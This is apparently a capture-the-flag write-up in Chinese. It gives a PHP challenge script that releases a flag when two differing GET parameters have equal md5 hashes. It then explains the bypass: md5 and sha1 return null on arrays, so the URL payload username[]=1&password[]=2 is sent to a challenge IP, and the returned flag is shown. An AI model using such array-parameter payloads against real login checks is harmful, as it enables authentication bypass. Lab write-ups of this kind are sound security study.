<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>
username和password不能相同,但是md5又要一致
md5函数存在漏洞,md5不识别数组,返回null,可以进行绕过
同样sha1函数也存在这个漏洞
payload
http://123.206.87.240:9009/18.php?username[]=1&password[]=2
得到
Flag: flag{bugk1u-ad8-3dsa-2}